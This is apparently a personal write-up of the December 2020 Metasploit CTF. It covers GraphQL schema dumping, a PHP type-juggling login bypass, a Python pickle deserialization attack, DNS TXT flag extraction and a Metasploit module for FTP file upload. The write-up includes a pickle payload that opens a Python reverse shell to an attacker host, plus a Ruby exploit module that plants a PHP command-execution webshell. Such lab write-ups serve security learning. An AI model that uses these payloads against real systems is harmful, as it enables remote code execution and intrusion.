Metasploit CTF – December 2020 :: Writeup

The Metasploit CTF this year was supposed to be easier, and I guess in some ways, it was. But it was entirely too easy to overthink some of the challenges. While I personally didn’t solve all of the challenges, I did manage a few. It was a lot of teamwork to get all of them solved. We didn’t make it to the top 5 this year, but it was a fun experience all the same.

With that all said, here’s the challenge writeups for the ones I did.

Table of Contents
Queen of Spades
4 of Clubs
7 of Diamonds
9 of Hearts
5 of Clubs

Queen of Spades

GraphQL – Ti-83 all over again

Queen of Spades was on port 8202 of the target box. I’m greeted with a pretty web UI.

Watch the requests in my proxy of choice, Burp, I can see in the background a call to /api. This looks like GraphQL (spoiler alert: it is :p). I’ve seen GraphQL before which is why it stuck out to me, but I’ve never had an opportunity to exploit it, so this was a learning experience.

The request is quite unique, as is the response. After a bunch of reading, I went to Payload All the Things and found the Payload All The Things – GraphQL Injection entry quite useful. Using the example pretty much verbatim, I’m able to dump the schema:

{
	"data": {
		"__schema": {
			"queryType": {
				"name": "QueryRoot"
			},
			"mutationType": {
				"name": "MutationRoot"
			},
			"types": [
				{
					"kind": "OBJECT",
					"name": "QueryRoot",
					"description": null,
					"fields": [
						[...]
					],
					"inputFields": null,
					"interfaces": [],
					"enumValues": null,
					"possibleTypes": null
				},
				{
					"kind": "OBJECT",
					"name": "Post",
					"description": "A post",
					"fields": [
						{
							"name": "id",
							"description": null,
							"args": [],
							"type": {
								"kind": "NON_NULL",
								"name": null,
								"ofType": {
									"kind": "SCALAR",
									"name": "Int",
									"ofType": null
								}
							},
							"isDeprecated": false,
							"deprecationReason": null
						},
						[...]
						{
							"name": "media",
							"description": null,
							"args": [],
							"type": {
								"kind": "NON_NULL",
								"name": null,
								"ofType": {
									"kind": "SCALAR",
									"name": "String",
									"ofType": null
								}
							},
							"isDeprecated": false,
							"deprecationReason": null
						},
						{
							"name": "title",
							"description": null,
							"args": [],
							"type": {
								"kind": "NON_NULL",
								"name": null,
								"ofType": {
									"kind": "SCALAR",
									"name": "String",
									"ofType": null
								}
							},
							"isDeprecated": false,
							"deprecationReason": null
						},
						{
							"name": "content",
							"description": null,
							"args": [],
							"type": {
								"kind": "NON_NULL",
								"name": null,
								"ofType": {
									"kind": "SCALAR",
									"name": "String",
									"ofType": null
								}
							},
							"isDeprecated": false,
							"deprecationReason": null
						},
						[...]
						{
							"name": "updatedAt",
							"description": null,
							"args": [],
							"type": {
								"kind": "NON_NULL",
								"name": null,
								"ofType": {
									"kind": "SCALAR",
									"name": "NaiveDateTime",
									"ofType": null
								}
							},
							"isDeprecated": false,
							"deprecationReason": null
						},
						{
							"name": "user",
							"description": null,
							"args": [],
							"type": {
								"kind": "NON_NULL",
								"name": null,
								"ofType": {
									"kind": "OBJECT",
									"name": "User",
									"ofType": null
								}
							},
							"isDeprecated": false,
							"deprecationReason": null
						}
					],
					"inputFields": null,
					"interfaces": [],
					"enumValues": null,
					"possibleTypes": null
				},
				[...]
		}
	}
}

Looking at the JSON, I can see that Post has a few interesting fields. I want to query for those fields to see if I can get our flag.

Now I can construct the following query:

{
    "query":"{posts{id,content,media}}\n"
}

And this results in the following response:

{
	"data": {
		"posts": [
			{
				"id": 1,
				"content": "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec interdum ut metus consectetur sodales. Sed et vulputate massa. Nullam consequat fringilla ante, sit amet lacinia ligula egestas et. Mauris imperdiet sodales nisl, sit amet placerat nisi. Pellentesque et ligula at purus convallis vehicula. Aenean ac ullamcorper diam",
				"media": "/cac0babe-1fff-4d85-9070-8d147e76da4b/queen_of_spades.png"
			}
		]
	}
}

Going to the media URL gets the card. Success!


4 of Clubs

PHP Type Juggling for funsies

This PHP page was on port 8092.

I went to it and was greeted by partial source code.

Here’s the code:

 $options = [
            'salt' => *secret*,
            'cost' => 12
        ];
        if (password_hash($_POST['password'], PASSWORD_DEFAULT, $options) == $_POST['hash'] ){
            *success code goes here to send the challenge card back to the user*
        }
        else{
            echo "Invalid login! Maybe you should read the source code more closely?\n";
            echo "<script>setTimeout(() => { document.location = '/index.php'; }, 6000)</script>";
        }

The first thing that stuck out to me is type juggling on line 5. That’s a common PHP problem that I’ve seen before. Embarrassingly, it too me too long to get it to work. But ultimately, I was able to bypass the check with the following request:

POST /login.php HTTP/1.1
Host: 172.15.5.37:8092
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Connection: close
Referer: http://172.15.5.37:8092/
Upgrade-Insecure-Requests: 1

user=admin&password[]=a

And browsing to that URL, I got the flag.


7 of Diamonds

Pickles aren’t just a tasty treat

This one was a fun one. Running on port 8888 was a Flask application. When you load the site, you are greeted with a listing of Metasploit modules.

Looking at the response in Burp, there’s a strange cookie that gets set: Set-Cookie: SESSION=gAR9lC4=; Path=/

As you use the menus at the top under Modules, you’ll notice that the cookies don’t have much entropy to them.

gASVIwAAAAAAAAB9lIwGZmlsdGVylIwTdHlwZSA9PSAiYXV4aWxpYXJ5IpRzLg==
gASVIQAAAAAAAAB9lIwGZmlsdGVylIwRdHlwZSA9PSAiZW5jb2RlciKUcy4=
gASVIQAAAAAAAAB9lIwGZmlsdGVylIwRdHlwZSA9PSAiZXZhc2lvbiKUcy4=
gASVJgAAAAAAAAB9lIwGZmlsdGVylIwWIkFuZHJvaWQiIGluIHBsYXRmb3Jtc5RzLg==
gASVIgAAAAAAAAB9lIwGZmlsdGVylIwSIk9TWCIgaW4gcGxhdGZvcm1zlHMu

As you can see, not much changes except a few bytes. I took that and attempted to base64 decode it:

There’s enough ASCII text there to make out filter "OSX" in platforms, much like was seen in the URL filter parameter.

A teammate did something I honestly should have tried and sent the plaintext test in the cookie. This produced an interesting error different from the other errors I was able to cause:

Ah ha! This produced a hint that the application uses pickle. That explains why the cookies didn’t have much entropy – they were serialized and the only thing that changed about the object that was serialized was what was being filtered, so they weren’t going to result in drastically different cookies.

Now that I know this information, I can pickle some stuff.

Here’s my aptly-named pickler.py:

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('export RHOST="<ip>";export RPORT=4242;python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\'')
        
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.b64encode(pickled)

Once on the box, I was able to get app.py and see how the application worked:

#----------------------------------------------------------------------------#
# Imports
#----------------------------------------------------------------------------#
import config
from flask import Flask, Markup, abort, render_template, request, g
# from flask.ext.sqlalchemy import SQLAlchemy
import logging
from logging import Formatter, FileHandler
from forms import *
import base64
import os
import pathlib
import pickle
import json
import rule_engine

app_path = pathlib.Path(__file__).absolute().parent

with (app_path / 'modules_metadata_base.json').open('r') as file_h:
    msf_modules = json.load(file_h)
for module in msf_modules.values():
    module['platforms'] = tuple(platform.strip() for platform in set(module['platform'].split(',')))

with (app_path / 'flag.png').open('rb') as file_h:
    FLAG = file_h.read()
if not config.DEBUG:
    (app_path / 'flag.png').unlink()

[...]
#----------------------------------------------------------------------------#
# App Config.
#----------------------------------------------------------------------------#

app = Flask(__name__)
app.config.from_object('config')
#db = SQLAlchemy(app)

[...]

@app.before_request
def pre_yolo():
    session = {}
    if session_data := request.cookies.get('SESSION'):
        session.update(pickle.loads(base64.b64decode(session_data)))
    g.session = session

@app.after_request
def post_yolo(response):
    session_data = base64.b64encode(pickle.dumps(g.session))
    response.set_cookie('SESSION', session_data)
    return response

#----------------------------------------------------------------------------#
# Controllers.
#----------------------------------------------------------------------------#
@app.route('/')
def home():
    return render_template('pages/modules.html', modules=msf_modules.values())

@app.route('/module/<path:fullname>')
def module(fullname):
    module = next((module for module in msf_modules.values() if module.get('fullname') == fullname), None)
    if module is None:
        abort(404)
    return render_template('pages/module.html', module=module)

@app.route('/modules')
@app.route('/modules/<module_type>')
def modules(module_type=None):
    modules = tuple(msf_modules.values())
    if module_type is not None:
        modules = tuple(module for module in modules if module.get('type') == module_type)
    alert = None
    if filter_expresion := (request.args.get('filter') or g.session.get('filter')):
        # this whole thing is a red herring
        try:
            rule = rule_engine.Rule(filter_expresion, context=rule_context)
            modules = rule.filter(modules)
        except rule_engine.RuleSyntaxError:
            alert = 'The filter expression contained a syntax error.'
        except rule_engine.EngineError:
            alert = 'The filter expression contained an error.'
        else:
            g.session['filter'] = filter_expresion
    return render_template('pages/modules.html', alert=alert, modules=modules)

# Error handlers.
@app.errorhandler(500)
def internal_error(error):
    #db_session.rollback()
    alert = None
    if isinstance(error.original_exception, pickle.UnpicklingError):
        alert = Markup('There was an error while loading the SESSION cookie with <code>pickle.loads</code>.')
    return render_template('errors/500.html', alert=alert), 500

@app.errorhandler(404)
def not_found_error(error):
    return render_template('errors/404.html'), 404

if not app.debug:
    file_handler = FileHandler('error.log')
    file_handler.setFormatter(
        Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')
    )
    app.logger.setLevel(logging.INFO)
    file_handler.setLevel(logging.INFO)
    app.logger.addHandler(file_handler)
    app.logger.info('errors')

#----------------------------------------------------------------------------#
# Launch.
#----------------------------------------------------------------------------#
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=config.HTTP_PORT)

I can see that it is clearly calling pickle.loads and even the annoying ?filter URL parameter that was a red herring. But, this part of the code annoyed me the most:

with (app_path / 'flag.png').open('rb') as file_h:
    FLAG = file_h.read()
if not config.DEBUG:
    (app_path / 'flag.png').unlink()

The application is indeed not running in DEBUG mode, so flag.png is removed from the filesystem when the application starts. So how do I access that variable? After a lot of Googling around, I came across this blog post: Escalating Deserialization (Python). The helpful search phrase was python deserialize exploit reference variable and this post was the first result.

With that information, I changed my pickler.py to read like this:

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('export RHOST="<ip>";export RPORT=4242;python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\'')
        #return os.system, (cmd,)
        return (exec, ("app.logger.info(base64.b64encode(FLAG))",))


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.b64encode(pickled))

I invoke app.logger.info as I know I can reliably output to it. From there, base64 encode the FLAG variable and I now have this beautiful response in my reverse shell:

This one took two steps:

  1. Reverse connection back to our attack box
  2. Reading the flag in to errors.log and base64 encoding it.

The reason is that I need the reverse connection back to read the log file. Was there a shorter way? Probably. But this worked. Noisy, but it worked.

Now with that content, I can get our flag.

Once I copy and paste that out, I can simply base64 decode it: cat flag.png.b64 | base64 -d > flag.png

That was frustrating but fun.


9 of Hearts

Dig in. Or don’t.

We did our port scan for TCP and UDP at the beginning and only one UDP port was open, 53. This is typically a DNS server.

I tried to do dig ptr <ip> @<ip> early on and it just didn’t work. I ignored this challenge thinking it might be a red herring. Near the end, a teammate instead did nslookup <ip> <ip> and there was the zone name, sitting right there.

I still don’t know why dig didn’t work. If anybody can tell me why, I’d love to know.

But here it is with nslookup just right there.

It also worked with host <ip> <ip>. This is why I have trust issues. I have no clue why dig wasn’t getting the PTR record, but here we are.

On a hunch, I did a TXT record query with dig txt 9ofhearts.ctf @<ip> and I have the image. Or the base64 of it.

The quotes and spaces of course will result in invalid base64, but with a perl one-liner, that’s an easy fix. I copied the TXT record in to a file and did a replace on the quotes: perl -pi -s 's/" "//g' flag.png.base64 and I am left with a simple cat flag.png.base64 | base64 -d > flag.png to get the flag.


5 of Clubs

FTP, Pfft.

On port 8101, you’re greeted with the following page:

Looking at the PCAP, I can see what seems to be a pretty straightforward exploit. This turned in to two days of fighting with Metasploit. So much for straightforward. But that was user error.

A couple of things stick out. There’s the username and password of ftpuser:ftpuser, so I’ll save them for later. Then there’s the request to /files/<file.php> on the same host that’s running FTP. This makes it easier. We’re given a couple of examples to work from and a sample res.rc file to work with.

When I upload, I get a page with links to the eventual output. This was helpful debugging, but why not debug locally? Docker to the rescue there. A teammate created a Dockerfile to create the environment locally:

FROM php:7.0-apache
 COPY index.php /var/www/html
 RUN mkdir /var/www/html/files
 RUN mkdir -p /var/run/vsftpd/empty
 RUN useradd sammy
 RUN echo sammy:sammy | chpasswd
 RUN echo www-data:www-data | chpasswd
 RUN usermod --shell /bin/bash www-data
 RUN usermod --shell /bin/bash sammy
 RUN echo sammy > /etc/vsftpd.userlist
 RUN echo www-data >> /etc/vsftpd.userlist
 RUN mkdir -p /home/sammy/ftp
 RUN chown nobody:nogroup /home/sammy/ftp
 RUN chmod a-w /home/sammy/ftp
 RUN mkdir /home/sammy/ftp/files
 RUN chown -R www-data:www-data /var/www
 RUN chown sammy:sammy /home/sammy/ftp/files
 RUN echo "vsftpd test file" | tee /home/sammy/ftp/files/test.txt
 RUN apt update
 RUN apt install nano -y
 RUN apt install vsftpd -y
 COPY vsftpd.conf /etc
 EXPOSE 21 80 20 6000-6500

Then I need a vsftpd.conf to go with it:

listen=NO
listen_ipv6=YES
anonymous_enable=NO
local_enable=YES
write_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
chroot_local_user=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
user_sub_token=$USER
local_root=/var/www/html
pasv_min_port=6000
pasv_max_port=6500
userlist_enable=YES
userlist_file=/etc/vsftpd.userlist
userlist_deny=NO
allow_writeable_chroot=YES

You’ll also need an index.php since the build copies it. With these files, I build and run the Docker image:

docker build -t msf-module-test .
docker run --name sploit-testing -d -p 8765:80 -p 21:21 -p 6000-6500:6000-6500 msf-module-test:latest
docker exec -it sploit-testing bash

Once I’m in the container, I run vsftpd with /usr/sbin/vsftpd /etc/vsftpd.conf. This’ll leave it in the foreground, but that’s fine for our needs. Now I can run msfconsole in another container or somewhere else, as long as it can talk to our container over the network.

After a bunch of debugging with set ftpdebug true in Metasploit and the requisite Google searches on why I was getting 425 Security: Bad IP connecting in my responses, I added the following line to my FTP config file and restarted the server:

pasv_promiscuous=YES

Once I did that, my module started working. Here’s the 5ofclubs.rb file:

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::FileDropper
	include Msf::Exploit::Remote::HttpClient


	def initialize(info={})
		super(update_info(info,
			'Name' => "Metasploit CTF arbitrary file upload 5 of clubs",
			'Description' => %q{Upload with known creds and browse to an endpoint to get the file.},
			'License' => MSF_LICENSE,
			'Author' =>
				[
					'NA', # Vulnerability discovery, Metasploit module
				],
			'References' => [],
			'Platform' => 'php',
			'Arch' => ARCH_PHP,
			'Targets' => [
				['WEB_FTP', {}]
			],
			'Privileged' => false,
			'DisclosureDate' => '2020-12-04',
			'DefaultTarget' => 0))

		register_options(
			[
				# Change the default description so this option makes sense
				OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080]),
				OptString.new('RHOST', [true, 'The host for the FTP and web server']),
				OptString.new('TARGETURI', [true, 'The URI of the endpoint to invoke.', '/files/']),
				OptPort.new('RPORT_WEB', [true, 'The port for web', 80]),
				OptString.new('CMD', [true, 'The command to run'])
			]
		)
	end

	def upload(filename)
		select(nil, nil, nil, 1)
		peer = "#{rhost}:#{rport}"
		conn = connect_login

		if not conn
			fail_with(Exploit::Failure::Unreachable, "#{peer} - connection failed")
		end


		print_status('cd\'ing in to the files directory')
		cwd = send_cmd(['CWD', 'files'], true)
		print_status(cwd)

		print_status("Trying to upload #{::File.basename(filename)}")

		upload_res_2 = send_cmd_data(['PUT', filename], @php)
		print_status("Upload results 2: #{upload_res_2}")

		disconnect
	end

	def exploit
		php_name = "#{rand_text_alpha(rand(10)+5)}.php"

		@php = '<?php echo passthru($_GET["cmd"]);'

		upload(php_name)

		print_status('Sending HTTP Request')

		url = "http://#{rhost}:#{datastore['RPORT_WEB']}#{target_uri}#{php_name}?cmd=#{CGI.escape(datastore['CMD'])}"
		print_status(url)

		res = request_url(url)

		if res && res.code == 200
			print_good(res.body)

		else
			print_error('File not uploaded successfully')
		end

	end
end

And the res.rc file to go with it:

# The module is copied to `modules/exploits/`, so don't change this
use exploit/module

set FTPUSER ftpuser
set FTPPASS ftpuser
set RPORT 21


set PAYLOAD php/exec
set TARGET 0
set CMD cat /var/www/5_of_clubs.png | base64


# Make sure everything is alright
show options

# this will execute the module and put any session in background
run -z

# This block of ruby code is useful to make sure a session is setup before
# interacting with it. Feel free to update this code.
<ruby>
    print_status('Waiting a bit to make sure the session is completely setup ...')
    timeout = 10
    loop do
        break if (timeout == 0) || (framework.sessions.any? && framework.sessions.first[1].sys)
        sleep 1
        timeout -= 1
    end

    if framework.sessions.any? && framework.sessions.first[1].sys
        # Here is where we can interact with the session (shell or meterpreter).
        # The session number should be 1 at this point.
        # e.g. (for a meterpreter session):
        run_single("sessions -i 1 -C 'ls -al'")
        run_single("sessions -i 1 -C 'md5sum 5_of_clubs.png'")
    end
</ruby>

After I upload these two to the frontend, I get the flag.

Doing the cat flag.png.b64 | base64 -d > flag.png I get our final flag and can MD5 the file to get the challenge.


Conclusion

I had a lot of fun this year. There were a number of times that I ended up kicking myself for overthinking something or missing what was right in front of me. We didn’t get in top 5 like we have in the past, but it was fun all the same. Here’s to the next CTF!